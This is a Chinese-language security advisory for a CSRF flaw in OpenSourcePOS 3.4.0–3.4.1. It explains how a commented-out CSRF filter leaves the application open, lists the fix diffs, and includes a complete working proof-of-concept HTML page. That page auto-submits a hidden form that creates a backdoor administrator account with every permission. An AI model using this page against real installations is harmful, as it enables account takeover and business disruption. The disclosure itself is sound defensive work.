| 元数据 | 详情 |
|---|---|
| CVE ID | CVE-2025-68434 |
| 严重性 | 严重(8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 漏洞类型 | 跨站请求伪造(CWE-352) |
| 受影响版本 | OpenSourcePOS v3.4.0, v3.4.1 |
| 修复版本 | v3.4.2 |
| 受影响组件 | app/Config/Filters.php(全局安全过滤器) |
| 报告者 | Aditya Singh (Nixon-H) |
在 OpenSourcePOS 的核心安全配置中发现了一个**严重的跨站请求伪造(CSRF)**漏洞。由于一个从未被解决的临时开发“TODO”,应用的全局 CSRF 保护机制在 app/Config/Filters.php 文件中被显式禁用。
此配置错误导致应用在未验证有效防伪造令牌的情况下接受状态更改的 HTTP 请求(POST)。未经身份验证的远程攻击者可以通过诱使已登录的管理员访问恶意页面来利用此漏洞。攻击者的页面将静默地迫使受害者的浏览器执行管理操作;具体来说,创建一个具有完全权限的新“后门”管理员账户,从而导致系统完全被接管。
该漏洞位于全局过滤器配置(app/Config/Filters.php)中。在 CodeIgniter 4 中,$globals 数组决定了哪些过滤器在每个请求上运行。
在受影响版本中,csrf 过滤器在 before 执行列表中被注释掉,从而实际上对整个应用禁用了 CSRF 保护。
易受攻击的代码(app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
由于该行被注释掉,负责检查 csrf_token_name 的中间件永远不会执行。应用接受来自任何来源的任何 POST 请求,仅依赖会话 cookie(ospos_session)进行身份验证。
csrf_exploit.html 文件。valid_12345)。POC/csrf_exploit.html)这是用于创建具有完全权限的恶意管理员的确切载荷:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(图像和利用文件位于 POC/ 目录中)
截图 1:利用执行
截图 2:创建的恶意账户
🎥 视频演示: 点击观看/下载 PoC 视频
创建的账户不仅仅是临时会话;它是一个永久数据库条目。
利用 grant_config 权限,攻击者可以修改商店配置。
/items/delete),清空整个产品库存数据库,从而停止业务运营。该漏洞已在 OpenSourcePOS v3.4.2 中修复。修复需要进行多步骤架构更改,以处理应用 AJAX 密集型销售界面中的竞争条件。
在 app/Config/Filters.php 中,取消注释全局 CSRF 过滤器。
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
在 app/Config/Security.php 中,开发者从基于 cookie 的令牌切换为基于会话的令牌,并禁用了令牌再生,以防止并行 AJAX 请求(例如在销售模块中)出现问题。
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
文件 app/Views/partial/header_js.php 被更新,直接从服务器注入令牌哈希,而不是从客户端 cookie 读取,从而改善了安全态势。
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d)并由研究人员验证。